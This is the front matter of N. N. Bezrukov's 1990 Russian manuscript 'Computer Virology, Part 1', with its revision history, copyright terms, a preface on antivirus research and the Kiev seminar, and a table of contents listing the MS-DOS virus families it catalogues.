ЭЛЕКТРОННАЯ БИБЛИОТЕКА КОАПП
Сборники Художественной, Технической, Справочной, Английской, Нормативной, Исторической, и др. литературы.




                                               На правах рукописи

                      БЕЗРУКОВ НИКОЛАЙ НИКОЛАЕВИЧ

                        КОМПЬЮТЕРНАЯ ВИРУСОЛОГИЯ

               Часть 1: Общие принципы функционирования,
          классификация и  каталог  наиболее  распространенных
                 вирусов в операционной системе MS DOS

                               Киев  1990

     БЕЗРУКОВ Н.Н. КОМПЬЮТЕРНАЯ ВИРУСОЛОГИЯ. Часть 1: Общие  прин-
ципы функционирования, классификация и каталог наиболее  распрост-
раненных вирусов в операционной системе  MS DOS / Редакция 5.5  от
10.11.90.- 1990. - 450 с. Ил. 11, список лит.: 340 назв., прил. 9.

     Данная редакция заменяет  предыдущие редакции (1.0-1.4,  2.0-
2.9, 3.0-3.7, 4.0-4.8, 5.0-5.4),  и большинство описываемых в  ней
программных продуктов уже опубликованы в вышедших в свет  выпусках
электронного  бюллетеня  СОФТПАНОРАМА.  Некоторые  из  упоминаемых
"свежих" версий программных средств защиты от вирусов, распростра-
няемых бесплатно (FREEWARE),  а также средств,  разработка которых
частично финансируется  пользователями (SHAREWARE),  были переданы
автору для ознакомления и тестирования и будут опубликованы в пос-
ледующих выпусках СОФТПАНОРАМЫ.

      В редакции  5.5 исправлен  ряд ошибок  и опечаток, несколько
изменена структура главы 1 и переработана глава 10.

      В редакции 5.4 уточнены сведения о некоторых вирусах, внесе-
ны изменения в приложение 6.

      В редакции 5.3 переработаны глава 6 и глава 8.

      В редакции 5.2  уточнены сведения по  последним обнаруженным
вирусам, исправлено оглавление, доработана гл.2, исправлена и  до-
полнена таблица в прил.1. Введен термин техно-крыса  применительно
к разработчикам компьютерных вирусов, сознательно распространяющим
свои продукты.

      В редакции 5.1 исправлены мелкие опечатки, а также неточнос-
ти в описании вируса RCE-04096.

      В редакции 5.0 классификационные таблицы вынесены в приложе-
ния, внесен ряд изменений в структуру книги, в частности,  перера-
ботана гл.1. Добавлены сведения про файловые вирусы С-257, С-1024,
RС-394, RС-488 и бутовые вирусы Stone Rostov, Print Screen.

      В редакции 4.8 польская подгруппа выделена в отдельную груп-
пу файловых нерезидентных вирусов.  Исправлен ряд ошибок и  опеча-
ток.

      В редакции 4.7 уточнен ряд сведений в табл.1, а также сведе-
ния про вирус Joshy.

      В редакции 4.6 переработан раздел 2.4. В связи с обнаружени-
ем стелс-вирусов в СССР соответствующий раздел перенесен в гл.5, а
информация, относящаяся  к вирусу  RCE-04096, уточнена.  Исправлен
ряд ошибок и неточностей в прил.2 и 3.

      В редакции 4.5 в табл.3 для ряда вирусов внесены  сигнатуры,
использованные в полидетекторе  TNTVIRUS фирмы CARMEL.  Исправлены
некоторые опечатки и неточности.

      В редакции 4.4 полностью переработано приложение 4 и  добав-
лено приложение 5. Уточнены сведения по вирусу RC-492.

      В редакции 4.3 внесен ряд изменений в приложения 2 и 3, уто-
чнено изложение некоторых пунктов глав 4 и 10.

      В  редакции  4.2  добавлены  описания  вирусов RCE-1600 (Па-
кость-3) и  WM-1F (Joshy).  Полностью переработаны  приложение 2 и
приложение 3.  Дополнен список  литературы. В  текст внесено много
мелких изменений и уточнений. В связи с положительными отзывами на
"оживляж" в виде эпиграфов, добавлен ряд новых эпиграфов, а  неко-
торые неудачные заменены.

     В редакции 4.1 изменена структура книги: глава 4 (КЛАССИФИКА-
ЦИЯ МЕТОДОВ ЗАЩИТЫ) объединена  с главой 8 (ТЕХНОЛОГИЯ  ПРИМЕНЕНИЯ
СРЕДСТВ ЗАЩИТЫ ОТ ВИРУСОВ).  Предполагается, что в дальнейшем  эта
глава будет вынесена из данной части и войдет во вторую часть дан-
ной работы. В свою очередь табл.1 и табл.2 сокращены: в них остав-
лены только вирусы, найденные в CCCР. Вирусы, известные по литера-
туре, вынесены в отдельные таблицы (табл.3 и табл.4), которые  су-
щественно переработаны  и дополнены  сведениями из  файла VIRUSSUM
П.Хоффман. Глава 5 (КАТАЛОГ НАИБОЛЕЕ РАСПРОСТРАНЕННЫХ ФАЙЛОВЫХ ВИ-
РУСОВ) в связи со своим большим объемом разбита на три: нерезиден-
тные файловые  вирусы, обнаруженные  в СССР,  резидентные файловые
вирусы, обнаруженные в СССР, и вирусы, известные только по литера-
туре. Глава 6 (КАТАЛОГ НАИБОЛЕЕ РАСПРОСТРАНЕННЫХ БУТОВЫХ  ВИРУСОВ)
разбита на две: бутовые вирусы, обнаруженные в СССР, и вирусы, из-
вестные только по литературе. Несколько переработана структура де-
скриптора файлового и бутового вируса. Доработано приложение 1.

     В редакции 4.0 текст глав  1-4 и 7 существенно переработан  и
дополнен. Исключены табл.3-8. Некоторые изменения и уточнения сде-
ланы в главе 5, в частности, сокращен и заменен ряд дампов. Вместо
термина  "фильтр"  в  качестве  названия этого класса антивирусных
программ теперь используется термин "сторож". Это сделано во избе-
жание путаницы с соответствующим термином MS DOS и UNIX. Как обыч-
но, переработаны и  дополнены табл.1-2: в  них внесены сведения  о
дате обнаружения  вируса, его  распространенности, а  для файловых
вирусов дополнительно приводятся J-сигнатуры. Кроме того, несколь-
ко изменена структура дескриптора. В процессе подготовки материала
к публикации к некоторым главам с целью "оживления" изложения  до-
бавлены эпиграфы.

     В редакции 3.7 расширены и дополнены табл.1-2, добавлено опи-
сание вируса  RC-492. Понятие  J-сигнатуры обобщено  и на файловые
вирусы. Восстановлено приложение 1, которое теперь содержит  ката-
лог опубликованных в бюллетене СОФТПАНОРАМА антивирусных  средств,
распространяемых бесплатно.

     В редакции 3.6 глава 5 разбита на три главы по типам  вирусов
(файловые, бутовые и сетевые), а также снято приложение 1, как ус-
таревшее. В редакции 3.5 расширены и исправлены табл.1-2, добавле-
ны описания вирусов RC-600, Den Zuk, Merphy, EXE, Muzikant,  уточ-
нены сведения о RCE-2000, внесен ряд изменений и добавлений в гл.4
и 6. В редакции 3.4 исправлены табл.1-7, добавлено описание группы
Datacrime и уточнен ряд сведений о других вирусах. В редакции  3.3
добавлено описание вирусов группы IV, а также вставлен ряд  недос-
тающих дампов штаммов, а некоторые, не совсем удачные, дампы заме-
нены. В редакции 3.2 переработаны табл.1-2, уточнен ряд полей дес-
криптора, добавлено описание вируса RCE-2000. В редакции 3.1  исп-
равлены неточности,  допущенные при  подготовке табл.1-2  редакции
3.0, и  добавлен дамп  штамма Brain86  (Ashar) пакистанской группы
вирусов.

     В редакции 3.0 значительно переработана структура книги.  Из-
менено правило для определения длины файловых вирусов (в  качестве
эталонной программы теперь принимается не COMMAND.COM PC DOS  вер-
сии 3.3 с длиной 25307  байтов, а программа, длина которой  кратна
16; это приводит к уменьшению на 5 числовых значений в  используе-
мой числовой  классификационной характеристике  для всех  вирусов,
которые выравнивают свое тело на начало параграфа). В связи с воз-
растанием количества вирусов материал, относящийся к файловым  ви-
русам, перегруппирован и разбит на группы (Венская, группа Каскад,
Иерусалимская и группа TP). Кроме того, изменены классификационные
коды: для файловых вирусов буква R вынесена в префикс, а для буто-
вых вирусов в качестве характеристики теперь используется значение
второго байта бутсектора.

     (С) 1989, 1990  Безруков Н.Н.
         Разрешается бесплатное копирование и распространение при
         условии сохранения целостности материала и отсутствия прямой
         коммерческой выгоды. Авторам антивирусных программ разрешается
         бесплатное воспроизведение в документации табл.1-4 независимо
         от того, является ли данная программа бесплатной или
         коммерческой. Для распространения с целью получения
         коммерческой выгоды, включая поставку в качестве части
         документации к продаваемым программным продуктам, использование
         на платных курсах и т.д., необходимо заключение
         соответствующего договора с автором.

                              ПРЕДИСЛОВИЕ

                                    "Читатель, вот мои "Досуги"...
                                     Суди беспристрастно!
                                      Издаю пока отрывок."

                                                   Козьма Прутков

     По мере развития и усложнения компьютерных систем и программ-
ного обеспечения возрастает объем и повышается уязвимость хранящи-
хся в них  данных. Одним из  новых факторов, резко  повысивших эту
уязвимость, является массовое производство  программно-совместимых
мощных персональных ЭВМ, которое явилось одной из причин появления
нового класса программ-вандалов - компьютерных вирусов. Наибольшая
опасность, возникающая в связи в опасностью заражения программного
обеспечения компьютерными вирусами, состоит в возможности  искаже-
ния или уничтожения жизненно-важной информации, которое может при-
вести не только к финансовым и временным потерям, но и вызвать че-
ловеческие жертвы.

     В последние три года в зарубежной печати наблюдается активное
развитие исследований, посвященных проблеме защиты компьютеров  от
вирусов. О размахе работ по рассматриваемой тематике  свидетельст-
вует ряд фактов: библиография работ, затрагивающих или целиком по-
священных данной проблеме, исчисляется сотнями наименований,  поя-
вился ряд монографий, как американских, так и европейских  авторов
(см. приведенный в данной работе список источников, хотя он, есте-
ственно, является неполным и включает только публикации, доступные
в СССР).  Состоялось несколько  конференций по  проблеме защиты от
вирусов, а на большинстве представительных конференций имеются се-
кции, так или иначе связанные с этой тематикой. Появился ряд фирм,
для которых разработка антивирусных средств стала основным направ-
лением их деятельности. Все это ставит вопрос о формировании новой
инженерной дисциплины "компьютерной вирусологии",  рассматриваемой
как совокупность методов и приемов изучения компьютерных вирусов и
разработки эффективных средств защиты от них.

     Можно выделить три основных направления исследований в компь-
ютерной вирусологии: теоретические исследования, разработка  мето-
дов анализа и разработка средств защиты. Теоретические  исследова-
ния связаны с выявлениями закономерностей, присущих эпидемиям ком-
пьютерных вирусов, анализом "точек проникновения" и созданием нес-
пецифической методики выявления вирусов в компьютерных программах.
Исследование этих проблем наталкивается на значительные трудности,
частично связанные с их новизной и необычностью, а частично с  не-
четкостью самой  проблемы. Например,  проблема выделения  вируса в
компьютерной программе может с теоретической точки зрения рассмат-
риваться как задача распознавания образов, однако такой  абстракт-
ный подход непросто увязать с практическими проблемами  детектиро-
вания вирусов.

     Разработка методов анализа связана с проблемой дизассемблиро-
вания программного  обеспечения, не  имеющего исходных  текстов. К
проблеме  дизассемблирования  в  академических кругах незаслуженно
относились пренебрежительно, а  те немногие статьи,  которые писа-
лись по данной тематике, часто отвергались редакциями журналов как
"ненаучные" и связанные с "пиратством". На самом же деле  проблема
дизассемблирования является частью проблемы реконструкции програм-
много обеспечения. Последнее время это направление усиленно разви-
вается за рубежом и есть надежда, что постепенно оно будет призна-
но и нашей "официальной" наукой.

     Наибольшие результаты в настоящее время достигнуты в  третьем
направлении - создании конкретных антивирусных программ и  методик
их применения. Ряд разработок доведен до уровня программных проду-
ктов и широко используются  пользователями. Не случайно этой  теме
посвящена значительная часть "антивирусных публикаций".

     Конечно, компьютерная вирусология быстро развивается и в пос-
леднее время в разных ее разделах получены новые интересные  резу-
льтаты, которые еще не нашли отражения в данной работе.

     Данная рукопись представляет собой исправленный и дополненный
текст лекций, прочитанных автором на Киевском семинаре  "Системное
программирование", начиная с апреля 1989 г., и является первой ча-
стью запланированной автором работы, посвященной вопросам, связан-
ным с компьютерными вирусами. В ней излагаются общие принципы фун-
кционирования вирусов, предлагаемая автором классификация и кратко
описываются наиболее распространенные (на период подготовки насто-
ящей редакции)  компьютерные вирусы.  Содержание книги  охватывает
достаточно широкий круг вопросов без излишней детализации. Необхо-
димые термины определяются неформально и могут быть восприняты  на
интуитивном уровне. Для понимания основного содержания книги  дос-
таточно некоторого знакомства с операционной системой MS DOS (нап-
ример, в объеме, приводимом в книге В.Э.Фигурнова [Фигурнов90])  и
не требуется знания языка ассемблера. Хотя изложение ориентировано
на MS DOS, большинство излагаемых приемов анализа и методов защиты
применимы, с соответствующими модификациями, и для других операци-
онных систем.

     Предполагается, что вся работа будет состоять их трех частей.
В частности,  во второй  части работы  будут рассмотрены  проблемы
трассировки, дизассемблирования и реконструкции загрузочных  моду-
лей, а в третьей - вопросы классификации, использования и констру-
ирования средств защиты от компьютерных вирусов, Они будут опубли-
кованы в последующих выпусках бюллетеня СОФТПАНОРАМА.

     Относительно компьютерных вирусов существует много мифов, по-
этому очень важно наличие объективной "первичной" информации. Дело
в том, что как в публикациях, так и в "программистском  фольклоре"
встречаются неточные или вообще неверные утверждения  относительно
эффектов, вызываемых тем или  иным вирусом, и оптимального  выбора
методов защиты. Следует также отметить, что некоторые авторы  бро-
шюр на эту тему, появившихся в массовых изданиях и научно-популяр-
ных журналах, не обладают достаточной квалификацией в области сис-
темного программирования и, стараясь придать материалу  сенсацион-
ный характер, скатываются при описании вирусов на уровень "фильмов
ужасов".

     Поскольку научные интересы автора в последнее время были сос-
редоточены на вопросах разработки эффективных методов дисассембли-
рования, обратной трансляции и реконструкции программного  обеспе-
чения [Безруков88], новый тип программ - вирусы сразу привлек вни-
мание как один из возможных полигонов для отработки  разрабатывае-
мых методов  и средств.  В рамках  проводимых автором исследований
автором выполнено дизассемблирование и реконструкция исходных тек-
стов ряда компьютерных вирусов [Безруков89,90а,90б,90в].  Дополни-
тельно к дизассемблированию и статическому анализу, работа вирусов
трассировалась и  их поведение  изучалось в  контролируемой среде.
Приводимые ниже сведения  дают достаточно подробную  информацию об
особенностях, механизме распространения и типах наносимого  ущерба
этой новой, сравнительно мало исследованной разновидности  систем-
ных программ. Автор надеется, что эта систематизация и  последова-
тельное изложение имеющегося фактического материала поможет  более
эффективной борьбе как с уже известными, так и с новыми типами ко-
мпьютерных вирусов.

     Поскольку  настоящая  публикация  является предварительной, в
ней пропущена часть иллюстративного материала, недостаточно подро-
бно описаны средства защиты,  ряд сведений о распространяющихся  в
СССР вирусах носит фрагментарный характер. Кроме того, текст,  по-
видимому, нуждается в  литературном редактировании. Тем  не менее,
учитывая отсутствие систематических сведений по данному вопросу  и
срочность публикации, я считаю возможным предложить данную  работу
"как есть", сознавая недостатки  стиля изложения и принятой  схемы
построения работы. Появление канала обратной связи в виде  реакции
участников семинара и читателей безусловно послужит стимулом  уст-
ранения имеющихся недостатков,  и в последующих  номерах бюллетеня
СОФТПАНОРАМА будет приведена  очередная "исправленная и  дополнен-
ная" редакция данной работы.

     С начала 1989 года в Киеве действует ежемесячный семинар "Си-
стемное программирование" (семинар проходит во второй четверг каж-
дого месяца в ауд.4-205 КИИГА; начало в 15.00), работа которого  в
какой-то  мере  координирует  усилия  разработчиков   антивирусных
средств. По  материалам семинара  под редакцией  автора этих строк
ежемесячно (точнее,  10 раз  в год)  выходит электронный бюллетень
СОФТПАНОРАМА, в котором регулярно публикуются новые версии антиви-
русных программ, распространяемых бесплатно, документация к ним  и
сообщения о новых вирусах и их штаммах.

     В настоящее время десятки коллективов и отдельных программис-
тов разрабатывают эффективные антивирусные средства. В  частности,
значительной  популярностью  пользуются  программы,  разработанные
участниками семинара и распространяемые через бюллетень  СОФТПАНО-
РАМА (CHECK21,  SBM, VL  и др.).  Редакция СОФТПАНОРАМы предлагает
сотрудничать с ней  авторам бесплатных антивирусных  программ. При
этом переданная в редакцию версия, как правило, включается в  оче-
редной выпуск бюллетеня, т.е. задержка в публикации составляет ме-
нее месяца (а для приезжающих на семинар иногородних разработчиков
- несколько часов). Кроме того, помещаются демонстрационные версии
коммерческих программ, если они представляют интерес для пользова-
телей. Все это позволяет оперативно реагировать на появление новых
разновидностей компьютерных вирусов и в пределах месяца  обеспечи-
вать участников  семинара и  читателей бюллетеня  доработанными, с
учетом появившихся вирусов,  версиями антивирусных программ,  а их
авторов - соответствующей долей общественного уважения.

     Кроме того, все опубликованные в бюллетене СОФТПАНОРАМА анти-
вирусные  программы  участвуют  в  конкурсе на лучшую антивирусную
программу, проводимом с 1990  г. (призовой фонд первого  конкурса,
проведенного в январе-феврале 1990 г. составил 1500 руб.).

     В  ходе  проведения  первой  Всесоюзной конференции "Методы и
средства защиты от компьютерных вирусов в операционной системе  MS
DOS" планируется проведение следующего, второго конкурса  бесплат-
ных антивирусных программ (конференция пройдет с 14 по 17 ноября в
Киеве, на базе КИИГА). Программы, представляемые на конкурс, долж-
ны быть переданы в оргкомитет не позднее 12 сентября.

     Конкурс пройдет в трех классах программ:
    - фаги (включая самообучающиеся);
    - детекторы и ревизоры (включая резидентные, а также модули и
      заготовки на языках высокого уровня, обеспечивающие
      самотестирование на заражение);
    - вакцины и сторожа (включая специализированные драйверы и
      самоизлечивающиеся оболочки).

  Для победителей в  каждом классе программ  установлены следующие
премии:

    - по классу фагов:
            I премия - 1500 руб.,
           II премия -  900 руб.,
          III премия -  600 руб.
    - по классу детекторов и ревизоров:
            I премия - 1200 руб.,
           II премия -  750 руб.,
          III премия -  450 руб.
    - по классу вакцин и сторожей:
            I премия - 1200 руб.,
           II премия -  750 руб.,
          III премия -  450 руб.

   Жюри будет состоять из независимых специалистов,  продолжитель-
ное время работающих в данной области, но не участвующих в конкур-
се. Помимо премий жюри  будет также установлен ряд  дополнительных
премий.

   В рамках конференции будут организованы секции:

     - классификация вирусов и методы анализа вирусоподобных прог-
рамм, инструментальные средства вирусолога: разработка и использо-
вание  средств  дизассемблирования,  трассировки  и других методов
анализа загрузочных модулей; (руководитель секции Н.Н.Безруков);

     - вопросы конструирования, cравнительный анализ и перспектив-
ные методы усиления фагов (руководитель секции Д.Н.Лозинский);

     -  вопросы  конструирования  детекторов, эвристические методы
детектирования вирусов, организация входного контроля, конструиро-
вание ревизоров и алгоритмы самотестирования программ;

     - конструирование резидентных программ защиты, методы контро-
ля "on the fly", нетрадиционные методы защиты от вирусов,  незара-
жаемые и самоизлечивающиеся программы (руководитель секции А.Водя-
ник);

     - методы и алгоритмы защиты от несанкционированного копирова-
ния коммерческого ПО (руководитель секции В.Герасимов);

     - меры воздействия и возможные санкции против разработчиков и
распространителей вирусов (общая дискуссия);

     Поскольку в настоящее время компьютерная вирусология  пережи-
вает своего рода бум, имеется определенная потребность в  унифика-
ции терминологии и оперативном обмене информацией между  разработ-
чиками и пользователями с одной стороны и между самими разработчи-
ками. Например, на начальном этапе практически каждый  разработчик
антивирусных средств разрабатывал собственную классификацию компь-
ютерных вирусов, которая обычно оказывалась никак не согласованной
с классификацией других разработчиков. Сейчас эта ситуация  неско-
лько меняется и среди неформальных названий стандартными постепен-
но становятся  названия, используемые  в полидетекторе  SCAN фирмы
McAfee Associates (США). Однако этим неформальным названиям присущ
тот недостаток,  что они  охватывают только  вирусы, детектируемые
текущей версией программы SCAN, а набор вирусов, распространяющих-
ся в США, отличается о советского.

     Поэтому наряду с неформальной классификацией необходима и фо-
рмальная, попытка создания которой предпринята в предлагаемой ниже
работе. Сейчас уже практически никто не сомневается в важности со-
здания формальной классификационной схемы; споры вызывает лишь вы-
бор конкретной иерархии признаков (очевидно, что система классифи-
кации компьютерных вирусов,  как и любая  другая классификационная
система, должна предполагать иерархию признаков, т.е. выбор в  от-
ношении порядка критериев  и их значимости).  Предлагаемый автором
подход  является  предельно  прагматическим  и ориентирован прежде
всего на однозначную идентификацию вирусов рядовыми  пользователя-
ми, что, естественно, накладывает определенные ограничения на  вы-
бор классификационных признаков (свойств). Данная  классификацион-
ная система  находит все  более широкое  применение и  в настоящее
время используется рядом разработчиков. Однако, к сожалению, никто
из них не реализовал  диалоговую подсказку на базе  разработанного
автором дескриптора, хотя это существенно повысило бы качество вы-
даваемой пользователю информации.

    Следует подчеркнуть,  что всем  разработчикам как  бесплатных,
так и коммерческих антивирусных средств разрешается включение  ко-
пий прил.1-5 в текст документации или в виде приложений к  послед-
ней. Хотя предложенная классификация не лишена недостатков, все же
по мнению автора важнее во-время сделать ставку на какой-то  более
или менее приемлемый вариант, чем тратить собственное время и силы
на разработку более удачной альтернативы. Поскольку автор регуляр-
но обновляет предложенные классификационные таблицы вирусов,  кор-
ректировка документации (и оперативной подсказки пользователям  !)
разработчиками антивирусных средств, использующих эти таблицы, мо-
жет быть выполнена путем простой замены предыдущей редакции таблиц
на текущую. Это можно даже сделать автоматически с помощью специа-
льного препроцессора. Кроме того, такое решение разработчиков  су-
щественно облегчает жизнь  пользователям, которые могут  использо-
вать данную работу как дополнение к используемой антивирусной про-
грамме.

     Наряду с классификацией, важное значение имеет создание ката-
лога описаний наиболее  распространенных компьютерных вирусов,  из
которого можно было бы выяснить свойства, степень опасности и  ос-
новные приемы борьбы с этой новой разновидностью компьютерного ва-
ндализма, а также разработать собственную методику работы в "виру-
соопасной" обстановке. Автор попытался в меру своих сил  выполнить
эту задачу в предлагаемой вашему вниманию части работы.  Насколько
эта попытка удалась, судить читателю.

     В процессе работы автор опирался на помощь и поддержку участ-
ников киевского семинара "Системное программирование", студентов -
сотрудников ТК NEATAVIA (В.Пономаренко, И.Свиридов, О.Суворов),  а
также  разработчиков  антивирусных  программ.  Обмен информацией с
Е.Н.Касперским, Д.Н.Лозинским, А.А.Сессой и А.А.Чижовым и  другими
разработчиками отечественных антивирусных программ позволил опера-
тивно включать в очередные версии сведения о появлявшихся вирусах.
Кроме того, при  написании работы использовалась  неопубликованная
документация к антивирусным программам указанных автором  (Д.Н.Ло-
зинского, О.Котика, А.Сессы, Е.Касперского и др.). В.Герасимов пе-
редал автору Virus Information Summary List, составленный Патрици-
ей М. Хоффман (Patricia M. Hoffman).

     Особую  благодарность  автор  выражает  cотруднику ВЦ АН СССР
Ю.П.Лященко, который на протяжении всего времени работы над данной
книгой оказал существенную помощь в работе, в особенности в вопро-
сах, связанных с  совершенствованием структуры книги,  унификацией
терминологии и  систематизацией изложения  материала. Кроме  того,
Ю.П.Лященко помог автору с копированием литературы по данной тема-
тике, высказал ряд полезных замечаний по тексту рукописи и  выпол-
нил трудоемкую работу по составлению и редактированию библиографии
и приложения 5.

     Ряд читателей данной работы прислали свои замечания и предло-
жения, учет которых позволил повысить качество изложения и  испра-
вить ошибки и  неточности. Всем им  автор выражает свою  искреннюю
благодарность.

    В то же время именно автор несет ответственность за все ошибки
и неточности, имеющиеся в работе, и будет благодарен всем, присла-
вшим свои замечания и предложения. Их следует направлять по  адре-
су: 252006, Киев-6, Красноармейская  124а, кв. 85 или  сообщать по
телефону (044)  268-10-26 с  9 до  10 часов  утра. Я постараюсь их
учесть при  подготовке очередной  редакции данной  работы. Если не
оговорено обратное, то письма, адресованные автору, рассматривают-
ся как поступившие в адрес редакции бюллетеня СОФТПАНОРАМА. Наибо-
лее интересные  из них  публикуются в  очередном номере бюллетеня.
Редакция оставляет за собой право редактирования содержания писем.

    Первая версия данной работы была выпущена в сентябре 1989 года
и в дальнейшем обновлялась ежемесячно, к очередному семинару. Пос-
кольку она распространяется, в основном, стихийно, нередко получа-
ется так, что в  отдельные регионы попадают версии  почти годичной
давности. Поэтому, начиная с  версии 3.0, принимается подписка  от
иногородних организации на 10 редакций "Компьютерной  вирусологии"
на дискетах. Очередная  версия высылается подписчику  по получению
гарантийного  письма,  а  девять  последующих (как уже говорилось,
очередная редакция готовится обычно к очередному семинару) высыла-
ются подписчикам на дискетах по мере их появления. По вопросам по-
дписки на бюллетень СОФТПАНОРАМА  и указанные выше выпуски  данной
работы просьба обращаться по  адресам, указанным в файле  READ.ME,
который поставляется вместе с данной работой. В этом же файле ука-
заны условия подписки и распространения.

10.11.90                                              Н.Н.Безpуков

                          ОГЛАВЛЕНИЕ

1. ОЧЕРК ИСТОРИИ КОМПЬЮТЕРНЫХ ВИРУСОВ
   1.1. Предыстория
      1.1.1. Первые эксперименты
      1.1.2. Романы Бруннера, Гибсона и расцвет "околовирусного"
             направления в научной фантастике
      1.1.3. Apple II и BBS создают условия для распространения
             троянских программ и вирусов
      1.1.4. Первые эксперименты с сетевыми вирусами
      1.1.5. Тьюринговская лекция Кена Томпсона
      1.1.6. Игра "Бой в памяти", работы Коэна
             и другие события 1984 г.
      1.1.7. Первые попытки противодействия: список
             "грязная дюжина" и первые антивирусные программы
   1.2. Второй этап у компьютеры в осаде
      1.2.1. Хакеры
      1.2.2. Первые случаи массового заражения
      1.2.3. Вирусы и Микрософт: MS DOS как VIR DOS
      1.2.4. Появление более "вирусоустойчивых" альтернатив MS DOS
      1.2.5. OS/2 и компьютерные вирусы
      1.2.6. Роль компьютерных сетей
      1.2.7. Появление вирусов в СССР
      1.2.8. Отечественные антивирусные публикации
      1.2.9. Первые отечественные антивирусные программы, начало
             формирования рынка программных средств защиты от вирусов
      1.2.10. Появление аппаратных средств защиты от вирусов
      1.2.11. Семинар "Системное программирование" и бюллетень
              СОФТПАНОРАМА
      1.2.12. Болгарские и польские исследования
      1.2.13. Законы, направленные против техно-крыс
      1.2.14. Этические проблемы, связанные с распространением
              компьютерных вирусов
      1.2.15. Проблема самоизоляции
   1.3. Современная ситуация
      1.3.1. Хроника событий
      1.3.2. Болгарский вирусный взрыв
      1.3.3. Колхоз им. Герострата, или вирусы, "выращенные" в СССР

2. ОБЩИЕ ПРИНЦИПЫ ФУНКЦИОНИРОВАНИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ
   2.1. Программы-вандалы
   2.2. Троянские программы
   2.3. Компьютерные вирусы
   2.4. Анатомия компьютерного вируса
      2.4.1. Структура файлового нерезидентного вируса
      2.4.2. Структура файлового резидентного вируса
      2.4.3. Структура бутового вируса
   2.5. Панацеи не существует (общая классификация средств защиты)
   2.6. Жизненный цикл компьютерных вирусов
   2.7. Среда обитания вирусов
   2.8. Симптомы заражения
   2.9. Вызываемые вирусами эффекты
   2.10. Повторное заражение
   2.11. Вирусофобия и попытки ее эксплуатации
   2.12. О возможности повреждения оборудования
   2.13. Легенды о полезных вирусах

3. КЛАССИФИКАЦИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ
   3.1. Принцип построения классификации
   3.2. Классификация файловых вирусов
   3.3. Классификация бутовых вирусов
   3.4. Использование классификационных таблиц

4. НЕРЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР
   4.1. Венская группа
      4.1.1. Базисный вирус С-648 (Vienna у Вена)
      4.1.2. Штамм С-623 (Vienna-X)
      4.1.3. Штамм C-627 (Vienna-Y)
   4.2. Польская группа
      4.2.1. Вирус С-534 (Toothless у Беззубый, W13)
      4.2.2. Вирус С-507 (13 месяц-Б, Toothless-B у Беззубый-Б, W13-B)
   4.3. Группа IV (Amstrad)
      4.3.1. C-345 (Pixel у Пиксель)
      4.3.2. C-847 (Amstrad)
      4.3.3. C-740 (Canser у Рак)
   4.4. Вирус E-1961 (Yankee Doodle-2 у Янки Дудль-2)
   4.5. Вирус C-1024 (Bebe у Бебе)
   4.6. Вирус C-257

5. РЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР
   5.1. Группа "Буквопад"
      5.1.1. Вирус RС-1701 (Cascade у Буквопад)
      5.1.2. Вирус RС-1704 (Cascade-B у Буквопад-Б)
   5.2. Иерусалимская группа
      5.2.1 Вирус RCE-1813 (Ierusalem у Иерусалим, Black Friday у
            Черная пятница)
      5.2.2. Вирус RCE-1636 (Sunday у Воскресенье)
      5.2.3. Воронежская подгруппа
         5.2.3.1. Вирус RC-529 (Peterburg у Петербург, Пакость-1)
         5.2.3.2. Вирус RC-600 (Пакость-2)
         5.2.3.3. Вирус RC-1600 (Voronezh 2.01 у Воронеж 2.01,
                  Пакость-3)
      5.2.4. Другие представители иерусалимской группы.
   5.3. Группа TP-вирусов
      5.3.1. Подгруппа Vacsina
         5.3.1.1. Вирус RСE-1206 (ТР-05, VACSINA-5)
         5.3.1.2. Вирус RCE-1212 (ТР-04, Vacsina-04).
         5.3.1.3. Вирус RCE-1339 (ТР-16, Vacsina-10)
      5.3.2. Подгруппа музыкальной перезагрузки
         5.3.2.1. Вирус RСE-1805 (ТP-25, Yankee Doodle-19 у
                  Янки дудль-19, Музыкальная перезагрузка)
         5.3.2.2. Вирус RСE-1760 (ТP-24, Yankee Doodle-18 у
                  Янки дудль-18, Музыкальная перезагрузка)
      5.3.3. Подгруппа музыкальных самоедов
         5.3.3.1. Штамм RCE-2885 (TP-44, Yankee Doodle-2C у
                  Янки дудль-2С, Five o'clock)
         5.3.3.2. Вирус RCE-2680 (ТР-33, Yankee Doodle-21 у
                  Янки дудль-21)
         5.3.3.3. Вирус RCE-2568 (ТР-34, Yankee Doodle-22 у
                  Янки дудль-22)
         5.3.3.4. Вирус RCE-2756 (ТР-38, Yankee Doodle-26 у
                  Янки дудль-26)
         5.3.3.5. Вирус RCE-2901 (ТР-45, Yankee Doodle-2D у
                  Янки дудль-2D)
         5.3.3.6. Вирус RCE-2932 (ТР-41, Yankee Doodle-29 у
                  Янки дудль-29)
   5.4. Группа Avenger
      5.4.1. Вирус RCE-1800 (Dark Avenger у Черный мститель; Eddie у
             Эдди)
      5.4.2. Вирус RCE-02000 (V2000, Anti-Bontchev у Анти-Бончев)
   5.5. Вирус RCE-1277 (Murphy у Мерфи)
   5.6. Группа "второй половины таблицы прерываний"
      5.6.1. Вирус RC-492 (sI)
      5.6.2. Вирус RC-488 (Flu-2 у Грипп-2, LoveChild у Внебрачный
             ребенок)
   5.7. Группа стелс-вирусов
      5.7.1. RCE-04096 (Frodo у Фродо, 4096)
      5.7.2. Вирус RC-0-512 (512, 666)
   5.8. Вирус RC-394 (Attention у Внимание)

6. ФАЙЛОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ
   6.1. Общие замечания
   6.2. Новые стелс-вирусы
      6.2.1. Вирус RCE-03584 (Fish у Рыба)
      6.2.2. Вирус Mother Fish (Whale)
   6.3. "Болгарская серия"
      6.3.1. Новые вирусы группы Dark Avenger
         6.3.1.1. Вирус RCE-0651 (Eddie-3 - Эдди-3)
         6.3.1.2. Вирус RC-800 (800, Live after Death - Жизнь после
                  смерти)
         6.3.1.3. Вирус RCE-1024
         6.3.1.4. Вирус RCE-02100
      6.3.2. Вирус RC-1701p (Phoenix - Феникс)
   6.4. Файловые вирусы восточного происхождения
      6.4.1. Вирус RCE-2064 (Wolfman)
      6.4.2. Вирус C-743 (Taiwan-2)
      6.4.3. Вирус RCE-2900 (Taiwan-3 - Тайвань-3)
      6.4.4. Вирус RCE-4096 (Plastique)
   6.5. Некоторые "ископаемые" файловые вирусы
